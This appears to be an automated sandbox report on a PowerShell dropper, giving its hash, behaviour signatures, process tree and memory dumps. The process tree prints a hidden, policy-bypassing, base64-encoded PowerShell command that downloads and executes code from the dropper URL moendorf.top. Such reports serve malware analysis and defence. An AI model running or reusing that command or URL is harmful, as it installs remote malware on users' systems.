Analysis

  • max time kernel
    134s
  • max time network
    152s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20220310-en
  • submitted
    22/03/2022, 09:37

General

  • Target
    ps1.ps1
  • Size 251B
  • Sample220322-llgz2sbcal
  • SHA256 0650ef83b3fa0ba158db8f846b2702a03b90ce85d691c2cbcade2b95e8d9271f
  • MD5 SHA1 SHA512
Score
10/10

Malware Config

Extracted

Language
  • ps1

Deobfuscated
Source
URLs
  • ps1.dropper

    http://moendorf.top/index.php

Signatures

  • Blocklisted process makes network request 2 IoCs
  • Drops file in Windows directory 62 IoCs
  • Modifies data under HKEY_USERS 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 4 IoCs
  • Suspicious use of AdjustPrivilegeToken 2 IoCs
  • Suspicious use of WriteProcessMemory 2 IoCs

Processes

  • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell.exe -ExecutionPolicy bypass -File C:\Users\Admin\AppData\Local\Temp\ps1.ps1
    1⤵
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:1064
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -nop -w hiddEn -Ep bypass -Enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAOgAvAC8AbQBvAGUAbgBkAG8AcgBmAC4AdABvAHAALwBpAG4AZABlAHgALgBwAGgAcAAiACkA
      2⤵
      • Blocklisted process makes network request
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:4908
  • C:\Windows\System32\svchost.exe
    C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
    1⤵
    • Drops file in Windows directory
    • Modifies data under HKEY_USERS
    PID:1376

Network

        MITRE ATT&CK Matrix

        Replay Monitor

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        Downloads

        memory/1064-136-0x0000021B6F840000-0x0000021B6F842000-memory.dmp

        memory/1064-135-0x00007FFA5B2C0000-0x00007FFA5BD81000-memory.dmp

        memory/1064-137-0x0000021B6F843000-0x0000021B6F845000-memory.dmp

        memory/1064-138-0x0000021B6F846000-0x0000021B6F848000-memory.dmp

        memory/1064-134-0x0000021B718F0000-0x0000021B71912000-memory.dmp

        memory/1376-149-0x000001144E200000-0x000001144E204000-memory.dmp

        memory/1376-145-0x000001144B860000-0x000001144B870000-memory.dmp

        memory/1376-146-0x000001144B8C0000-0x000001144B8D0000-memory.dmp

        memory/1376-147-0x000001144DE70000-0x000001144DE74000-memory.dmp

        memory/1376-148-0x000001144E200000-0x000001144E204000-memory.dmp

        memory/1376-150-0x000001144E280000-0x000001144E284000-memory.dmp

        memory/1376-151-0x000001144E280000-0x000001144E284000-memory.dmp

        memory/1376-152-0x000001144E3A0000-0x000001144E3A4000-memory.dmp

        memory/1376-153-0x000001144E270000-0x000001144E274000-memory.dmp

        memory/4908-142-0x0000022ABAC86000-0x0000022ABAC88000-memory.dmp

        memory/4908-141-0x0000022ABAC83000-0x0000022ABAC85000-memory.dmp

        memory/4908-140-0x0000022ABAC80000-0x0000022ABAC82000-memory.dmp

        memory/4908-139-0x00007FFA5B2C0000-0x00007FFA5BD81000-memory.dmp